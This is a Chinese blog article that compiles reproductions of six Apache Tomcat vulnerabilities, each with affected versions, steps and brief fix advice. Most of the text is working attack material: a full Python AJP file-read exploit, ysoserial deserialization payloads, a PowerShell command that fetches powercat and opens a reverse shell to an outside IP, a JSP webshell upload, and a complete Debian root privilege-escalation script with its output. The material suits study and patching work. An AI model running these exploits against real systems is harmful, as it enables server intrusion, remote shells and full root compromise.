当前位置:   article > 正文

tomcat 漏洞集合_apache tomcat 8 . 0 . 36漏洞

apache tomcat 8 . 0 . 36漏洞

目录

PUT 任意文件上传(CVE-2017-12615)

影响版本

漏洞复现

修复建议

远程代码执行(CVE-2019-0232)

影响版本

漏洞复现

​编辑修复建议

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

影响版本

漏洞复现

修复建议

Tomcat Session(CVE-2020-9484)反序列化漏洞

影响版本

漏洞复现

修复建议

Tomcat反序列化漏洞(CVE-2016-8735)

影响版本

漏洞复现

修复建议

Tomcat本地提权漏洞(CVE-2016-1240)

影响版本

漏洞复现

修复建议


PUT 任意文件上传(CVE-2017-12615)

影响版本

tomcat 7.0.0~7.0.79

漏洞复现

1. 访问apache tomcat首页 http://192.168.17.140:8080

2. 访问http://192.168.17.140:8080/,使用burpsuit工具进行抓包,并将请求包发送至Repeater 

3. 将请求包GET方式改为PUT方式,上传ceshi.jsp,内容为“Hello Word”,点击发送,发现服务器返回“201”

4. 访问刚上传的ceshi.jsp文件,发现可访问,从而确定存在CVE-2017-12615漏洞

5. 接下来上传木马backdoor.jsp,如图所示上传成功

6. 使用冰蝎连接shell,密码为“rebeyond”

修复建议

用户可以禁用PUT方法来防护此漏洞,操作方式如下:
在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

  1. <init-param>
  2. <param-name>readonly</param-name>
  3. <param-value>true</param-value>
  4. </init-param>

 确保readonly参数为true(默认值),即不允许DELETE和PUT操作。

远程代码执行(CVE-2019-0232)

影响版本

tomcat 7.0.94之前

tomcat 8.5.40之前

tomcat 9.0.19之前   版本都会影响

漏洞复现

 1. 首先修改apache-tomcat-9.0.13\conf\ web.xml

将此段注释删除,并添加红框内代码。

  1. <init-param>
  2. <param-name>enableCmdLineArguments</param-name>
  3. <param-value>true</param-value>
  4. </init-param>
  5. <init-param>
  6. <param-name>executadle</param-name>
  7. <param-value></param-value>
  8. </init-param>

2. 将此处注释删除

3. 更改

apache-tomcat-9.0.13\conf\ context.xml

4. 在apache-tomcat-9.0.13\webapps\ROOT\WEB-INF目录下,新建 cgi-bin 文件夹
在文件夹内创建一个.bat文件 

 

  1. @echo off
  2. echo Content-Type: test/plain
  3. echo.
  4. set foo=&~1
  5. %foo%

 

5. 在后边追加命令,即可实现命令执行操作

修复建议

1. 禁用enableCmdLineArguments参数。

2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。

3. 升级tomcat到9.0.17以上版本。

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)

影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

开启了8009端口的ajp服务

漏洞复现

1. 网址中下载Tomcat,下载好安装包之后,进入bin目录执行startup.bat启动tomcat

 2. 访问http://localhost:8080

3. 修改配置文件,首先修改apache-tomcat-9.0.13\conf\ web.xml 

将此段注释删除,并添加红框内代码

  1. <init-param>
  2. <param-name>enableCmdLineArguments</param-name>
  3. <param-value>true</param-value>
  4. </init-param>
  5. <init-param>
  6. <param-name>executadle</param-name>
  7. <param-value></param-value>
  8. </init-param>

4. 将此处注释删除

 5. 修改 apache-tomcat-9.0.13\conf\ context.xml

添加privileged="true"语句 如下图

 环境搭建完成!

6. 在cmd下执行python脚本

脚本代码如下:

  1. #!/usr/bin/env python
  2. #CNVD-2020-10487 Tomcat-Ajp lfi
  3. #by ydhcui
  4. import struct
  5. # Some references:
  6. # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
  7. def pack_string(s):
  8. if s is None:
  9. return struct.pack(">h", -1)
  10. l = len(s)
  11. return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
  12. def unpack(stream, fmt):
  13. size = struct.calcsize(fmt)
  14. buf = stream.read(size)
  15. return struct.unpack(fmt, buf)
  16. def unpack_string(stream):
  17. size, = unpack(stream, ">h")
  18. if size == -1: # null string
  19. return None
  20. res, = unpack(stream, "%ds" % size)
  21. stream.read(1) # \0
  22. return res
  23. class NotFoundException(Exception):
  24. pass
  25. class AjpBodyRequest(object):
  26. # server == web server, container == servlet
  27. SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
  28. MAX_REQUEST_LENGTH = 8186
  29. def __init__(self, data_stream, data_len, data_direction=None):
  30. self.data_stream = data_stream
  31. self.data_len = data_len
  32. self.data_direction = data_direction
  33. def serialize(self):
  34. data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
  35. if len(data) == 0:
  36. return struct.pack(">bbH", 0x12, 0x34, 0x00)
  37. else:
  38. res = struct.pack(">H", len(data))
  39. res += data
  40. if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
  41. header = struct.pack(">bbH", 0x12, 0x34, len(res))
  42. else:
  43. header = struct.pack(">bbH", 0x41, 0x42, len(res))
  44. return header + res
  45. def send_and_receive(self, socket, stream):
  46. while True:
  47. data = self.serialize()
  48. socket.send(data)
  49. r = AjpResponse.receive(stream)
  50. while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
  51. r = AjpResponse.receive(stream)
  52. if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
  53. break
  54. class AjpForwardRequest(object):
  55. _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
  56. REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
  57. # server == web server, container == servlet
  58. SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
  59. COMMON_HEADERS = ["SC_REQ_ACCEPT",
  60. "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
  61. "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
  62. "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
  63. ]
  64. ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
  65. def __init__(self, data_direction=None):
  66. self.prefix_code = 0x02
  67. self.method = None
  68. self.protocol = None
  69. self.req_uri = None
  70. self.remote_addr = None
  71. self.remote_host = None
  72. self.server_name = None
  73. self.server_port = None
  74. self.is_ssl = None
  75. self.num_headers = None
  76. self.request_headers = None
  77. self.attributes = None
  78. self.data_direction = data_direction
  79. def pack_headers(self):
  80. self.num_headers = len(self.request_headers)
  81. res = ""
  82. res = struct.pack(">h", self.num_headers)
  83. for h_name in self.request_headers:
  84. if h_name.startswith("SC_REQ"):
  85. code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
  86. res += struct.pack("BB", 0xA0, code)
  87. else:
  88. res += pack_string(h_name)
  89. res += pack_string(self.request_headers[h_name])
  90. return res
  91. def pack_attributes(self):
  92. res = b""
  93. for attr in self.attributes:
  94. a_name = attr['name']
  95. code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
  96. res += struct.pack("b", code)
  97. if a_name == "req_attribute":
  98. aa_name, a_value = attr['value']
  99. res += pack_string(aa_name)
  100. res += pack_string(a_value)
  101. else:
  102. res += pack_string(attr['value'])
  103. res += struct.pack("B", 0xFF)
  104. return res
  105. def serialize(self):
  106. res = ""
  107. res = struct.pack("bb", self.prefix_code, self.method)
  108. res += pack_string(self.protocol)
  109. res += pack_string(self.req_uri)
  110. res += pack_string(self.remote_addr)
  111. res += pack_string(self.remote_host)
  112. res += pack_string(self.server_name)
  113. res += struct.pack(">h", self.server_port)
  114. res += struct.pack("?", self.is_ssl)
  115. res += self.pack_headers()
  116. res += self.pack_attributes()
  117. if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
  118. header = struct.pack(">bbh", 0x12, 0x34, len(res))
  119. else:
  120. header = struct.pack(">bbh", 0x41, 0x42, len(res))
  121. return header + res
  122. def parse(self, raw_packet):
  123. stream = StringIO(raw_packet)
  124. self.magic1, self.magic2, data_len = unpack(stream, "bbH")
  125. self.prefix_code, self.method = unpack(stream, "bb")
  126. self.protocol = unpack_string(stream)
  127. self.req_uri = unpack_string(stream)
  128. self.remote_addr = unpack_string(stream)
  129. self.remote_host = unpack_string(stream)
  130. self.server_name = unpack_string(stream)
  131. self.server_port = unpack(stream, ">h")
  132. self.is_ssl = unpack(stream, "?")
  133. self.num_headers, = unpack(stream, ">H")
  134. self.request_headers = {}
  135. for i in range(self.num_headers):
  136. code, = unpack(stream, ">H")
  137. if code > 0xA000:
  138. h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
  139. else:
  140. h_name = unpack(stream, "%ds" % code)
  141. stream.read(1) # \0
  142. h_value = unpack_string(stream)
  143. self.request_headers[h_name] = h_value
  144. def send_and_receive(self, socket, stream, save_cookies=False):
  145. res = []
  146. i = socket.sendall(self.serialize())
  147. if self.method == AjpForwardRequest.POST:
  148. return res
  149. r = AjpResponse.receive(stream)
  150. assert r.prefix_code == AjpResponse.SEND_HEADERS
  151. res.append(r)
  152. if save_cookies and 'Set-Cookie' in r.response_headers:
  153. self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
  154. # read body chunks and end response packets
  155. while True:
  156. r = AjpResponse.receive(stream)
  157. res.append(r)
  158. if r.prefix_code == AjpResponse.END_RESPONSE:
  159. break
  160. elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
  161. continue
  162. else:
  163. raise NotImplementedError
  164. break
  165. return res
  166. class AjpResponse(object):
  167. _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
  168. COMMON_SEND_HEADERS = [
  169. "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
  170. "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
  171. ]
  172. def parse(self, stream):
  173. # read headers
  174. self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
  175. if self.prefix_code == AjpResponse.SEND_HEADERS:
  176. self.parse_send_headers(stream)
  177. elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
  178. self.parse_send_body_chunk(stream)
  179. elif self.prefix_code == AjpResponse.END_RESPONSE:
  180. self.parse_end_response(stream)
  181. elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
  182. self.parse_get_body_chunk(stream)
  183. else:
  184. raise NotImplementedError
  185. def parse_send_headers(self, stream):
  186. self.http_status_code, = unpack(stream, ">H")
  187. self.http_status_msg = unpack_string(stream)
  188. self.num_headers, = unpack(stream, ">H")
  189. self.response_headers = {}
  190. for i in range(self.num_headers):
  191. code, = unpack(stream, ">H")
  192. if code <= 0xA000: # custom header
  193. h_name, = unpack(stream, "%ds" % code)
  194. stream.read(1) # \0
  195. h_value = unpack_string(stream)
  196. else:
  197. h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
  198. h_value = unpack_string(stream)
  199. self.response_headers[h_name] = h_value
  200. def parse_send_body_chunk(self, stream):
  201. self.data_length, = unpack(stream, ">H")
  202. self.data = stream.read(self.data_length+1)
  203. def parse_end_response(self, stream):
  204. self.reuse, = unpack(stream, "b")
  205. def parse_get_body_chunk(self, stream):
  206. rlen, = unpack(stream, ">H")
  207. return rlen
  208. @staticmethod
  209. def receive(stream):
  210. r = AjpResponse()
  211. r.parse(stream)
  212. return r
  213. import socket
  214. def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
  215. fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
  216. fr.method = method
  217. fr.protocol = "HTTP/1.1"
  218. fr.req_uri = req_uri
  219. fr.remote_addr = target_host
  220. fr.remote_host = None
  221. fr.server_name = target_host
  222. fr.server_port = 80
  223. fr.request_headers = {
  224. 'SC_REQ_ACCEPT': 'text/html',
  225. 'SC_REQ_CONNECTION': 'keep-alive',
  226. 'SC_REQ_CONTENT_LENGTH': '0',
  227. 'SC_REQ_HOST': target_host,
  228. 'SC_REQ_USER_AGENT': 'Mozilla',
  229. 'Accept-Encoding': 'gzip, deflate, sdch',
  230. 'Accept-Language': 'en-US,en;q=0.5',
  231. 'Upgrade-Insecure-Requests': '1',
  232. 'Cache-Control': 'max-age=0'
  233. }
  234. fr.is_ssl = False
  235. fr.attributes = []
  236. return fr
  237. class Tomcat(object):
  238. def __init__(self, target_host, target_port):
  239. self.target_host = target_host
  240. self.target_port = target_port
  241. self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  242. self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  243. self.socket.connect((target_host, target_port))
  244. self.stream = self.socket.makefile("rb", bufsize=0)
  245. def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
  246. self.req_uri = req_uri
  247. self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
  248. print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
  249. if user is not None and password is not None:
  250. self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
  251. for h in headers:
  252. self.forward_request.request_headers[h] = headers[h]
  253. for a in attributes:
  254. self.forward_request.attributes.append(a)
  255. responses = self.forward_request.send_and_receive(self.socket, self.stream)
  256. if len(responses) == 0:
  257. return None, None
  258. snd_hdrs_res = responses[0]
  259. data_res = responses[1:-1]
  260. if len(data_res) == 0:
  261. print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
  262. return snd_hdrs_res, data_res
  263. '''
  264. javax.servlet.include.request_uri
  265. javax.servlet.include.path_info
  266. javax.servlet.include.servlet_path
  267. '''
  268. import argparse
  269. parser = argparse.ArgumentParser()
  270. parser.add_argument("target", type=str, help="Hostname or IP to attack")
  271. parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
  272. parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
  273. args = parser.parse_args()
  274. t = Tomcat(args.target, args.port)
  275. _,data = t.perform_request('/asdf',attributes=[
  276. {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
  277. {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
  278. {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
  279. ])
  280. print('----------------------------')
  281. print("".join([d.data for d in data]))

 7. 可以成功访问文件,漏洞复现成功!

修复建议

1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>

2、升级官方最新版本。

Tomcat Session(CVE-2020-9484)反序列化漏洞

影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

  • 攻击者能够控制服务器上文件的内容和文件名称
  • 服务器PersistenceManager配置中使用了FileStore
  • PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象
  • 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址: https://github.com/frohoff/ysoserial.git

用浏览器下载,解压,并生成一个jar包,复制进linux系统

生成jar包的方式,进入文件夹的目录输入 输入命令: mvn package

编译有点慢需要几分钟世间

编译完成后在target目录下,有jar包

执行下面语句生成 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session  使用以下命令访问tomcat服务

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

 虽然显示报错,但是也执行了。在/tmp目录下创建了2333目录

修复建议

  • 升级到 Apache Tomcat 10.0.0-M5 及以上版本
  • 升级到 Apache Tomcat 9.0.35 及以上版本
  • 升级到 Apache Tomcat 8.5.55 及以上版本
  • 升级到 Apache Tomcat 7.0.104 及以上版本

临时修复建议

禁止使用Session持久化功能FileStore

Tomcat反序列化漏洞(CVE-2016-8735)

影响版本

Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47

  • 外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口,来实现远程代码执行

漏洞复现

环境:Tomcat7.0.39

在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口

        配置好 jmx 的端口后,我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

        接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置,不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

 

然后启动 Tomcat ,看看本地的 10001 和 10002 端口是否开放 

漏洞利用代码

java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "calc.exe"

 

但是由于该命令没有回显,所以我们还是选择反弹shell回来,以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令,传送门:Windows反弹Shell  

java -cp  ysoserial.jar ysoserial.exploit.RMIRegistryExploit  127.0.0.1 10001 Groovy1  "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd"

修复建议

1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时,增加严格的认证方式。

2、根据官方去升级更新相对应的版本。

Tomcat本地提权漏洞(CVE-2016-1240)

影响版本

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

  • 通过deb包安装的tomcat
  • 需要重启tomcat
  • 受影响的系统包括DebianUbuntu,其他使用相应deb包的系统也可能受到影响

漏洞复现

        Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!

        本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦Tomcat init脚本(ROOT权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取ROOT权限。

 漏洞poc

  1. #!/bin/bash
  2. #
  3. # Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
  4. #
  5. # CVE-2016-1240
  6. #
  7. # Discovered and coded by:
  8. #
  9. # Dawid Golunski
  10. # http://legalhackers.com
  11. #
  12. # This exploit targets Tomcat (versions 6, 7 and 8) packaging on
  13. # Debian-based distros including Debian, Ubuntu etc.
  14. # It allows attackers with a tomcat shell (e.g. obtained remotely through a
  15. # vulnerable java webapp, or locally via weak permissions on webapps in the
  16. # Tomcat webroot directories etc.) to escalate their privileges to root.
  17. #
  18. # Usage:
  19. # ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
  20. #
  21. # The exploit can used in two ways:
  22. #
  23. # -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
  24. # gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted.
  25. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
  26. # a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
  27. #
  28. # -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to
  29. # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting.
  30. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a
  31. # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
  32. # then add arbitrary commands to the file which will be executed with root privileges by
  33. # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default
  34. # Ubuntu/Debian Tomcat installations).
  35. #
  36. # See full advisory for details at:
  37. # http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
  38. #
  39. # Disclaimer:
  40. # For testing purposes only. Do no harm.
  41. #
  42. BACKDOORSH="/bin/bash"
  43. BACKDOORPATH="/tmp/tomcatrootsh"
  44. PRIVESCLIB="/tmp/privesclib.so"
  45. PRIVESCSRC="/tmp/privesclib.c"
  46. SUIDBIN="/usr/bin/sudo"
  47. function cleanexit {
  48. # Cleanup
  49. echo -e "\n[+] Cleaning up..."
  50. rm -f $PRIVESCSRC
  51. rm -f $PRIVESCLIB
  52. rm -f $TOMCATLOG
  53. touch $TOMCATLOG
  54. if [ -f /etc/ld.so.preload ]; then
  55. echo -n > /etc/ld.so.preload 2>/dev/null
  56. fi
  57. echo -e "\n[+] Job done. Exiting with code $1 \n"
  58. exit $1
  59. }
  60. function ctrl_c() {
  61. echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
  62. cleanexit 0
  63. }
  64. #intro
  65. echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
  66. echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"
  67. # Args
  68. if [ $# -lt 1 ]; then
  69. echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
  70. exit 3
  71. fi
  72. if [ "$2" = "-deferred" ]; then
  73. mode="deferred"
  74. else
  75. mode="active"
  76. fi
  77. # Priv check
  78. echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
  79. id | grep -q tomcat
  80. if [ $? -ne 0 ]; then
  81. echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
  82. exit 3
  83. fi
  84. # Set target paths
  85. TOMCATLOG="$1"
  86. if [ ! -f $TOMCATLOG ]; then
  87. echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
  88. exit 3
  89. fi
  90. echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
  91. # [ Deferred exploitation ]
  92. # Symlink the log file to /etc/default/locale file which gets executed daily on default
  93. # tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
  94. # Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
  95. # restarted and file owner gets changed.
  96. if [ "$mode" = "deferred" ]; then
  97. rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
  98. if [ $? -ne 0 ]; then
  99. echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
  100. cleanexit 3
  101. fi
  102. echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
  103. echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
  104. echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
  105. echo -ne "\n you'll be able to add arbitrary commands to the file which will get executed with root privileges"
  106. echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
  107. \n\n"
  108. exit 0
  109. fi
  110. # [ Active exploitation ]
  111. trap ctrl_c INT
  112. # Compile privesc preload library
  113. echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
  114. cat <<_solibeof_>$PRIVESCSRC
  115. #define _GNU_SOURCE
  116. #include
  117. #include
  118. #include
  119. #include
  120. uid_t geteuid(void) {
  121. static uid_t (*old_geteuid)();
  122. old_geteuid = dlsym(RTLD_NEXT, "geteuid");
  123. if ( old_geteuid() == 0 ) {
  124. chown("$BACKDOORPATH", 0, 0);
  125. chmod("$BACKDOORPATH", 04777);
  126. unlink("/etc/ld.so.preload");
  127. }
  128. return old_geteuid();
  129. }
  130. _solibeof_
  131. gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
  132. if [ $? -ne 0 ]; then
  133. echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
  134. cleanexit 2;
  135. fi
  136. # Prepare backdoor shell
  137. cp $BACKDOORSH $BACKDOORPATH
  138. echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
  139. # Safety check
  140. if [ -f /etc/ld.so.preload ]; then
  141. echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
  142. cleanexit 2
  143. fi
  144. # Symlink the log file to ld.so.preload
  145. rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
  146. if [ $? -ne 0 ]; then
  147. echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
  148. cleanexit 3
  149. fi
  150. echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
  151. # Wait for Tomcat to re-open the logs
  152. echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
  153. echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
  154. "
  155. while :; do
  156. sleep 0.1
  157. if [ -f /etc/ld.so.preload ]; then
  158. echo $PRIVESCLIB > /etc/ld.so.preload
  159. break;
  160. fi
  161. done
  162. # /etc/ld.so.preload file should be owned by tomcat user at this point
  163. # Inject the privesc.so shared library to escalate privileges
  164. echo $PRIVESCLIB > /etc/ld.so.preload
  165. echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
  166. echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
  167. echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
  168. # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
  169. echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
  170. sudo --help 2>/dev/null >/dev/null
  171. # Check for the rootshell
  172. ls -l $BACKDOORPATH | grep rws | grep -q root
  173. if [ $? -eq 0 ]; then
  174. echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
  175. echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  176. \033[0m"
  177. else
  178. echo -e "\n[!] Failed to get root"
  179. cleanexit 2
  180. fi
  181. # Execute the rootshell
  182. echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
  183. $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
  184. $BACKDOORPATH -p
  185. # Job done.
  186. cleanexit 0

poc运行

  1. tomcat7@ubuntu:/tmp$ id
  2. uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
  3. tomcat7@ubuntu:/tmp$ lsb_release -a
  4. No LSB modules are available.
  5. Distributor ID: Ubuntu
  6. Description: Ubuntu 16.04 LTS
  7. Release: 16.04
  8. Codename: xenial
  9. tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
  10. ii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core libraries
  11. ii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engine
  12. ii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common files
  13. tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
  14. Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
  15. CVE-2016-1240
  16. Discovered and coded by:
  17. Dawid Golunski
  18. http://legalhackers.com
  19. [+] Starting the exploit in [active] mode with the following privileges:
  20. uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
  21. [+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
  22. [+] Compiling the privesc shared library (/tmp/privesclib.c)
  23. [+] Backdoor/low-priv shell installed at:
  24. -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
  25. [+] Symlink created at:
  26. lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload
  27. [+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
  28. You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
  29. [+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
  30. -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
  31. [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
  32. [+] The /etc/ld.so.preload file now contains:
  33. /tmp/privesclib.so
  34. [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
  35. [+] Rootshell got assigned root SUID perms at:
  36. -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
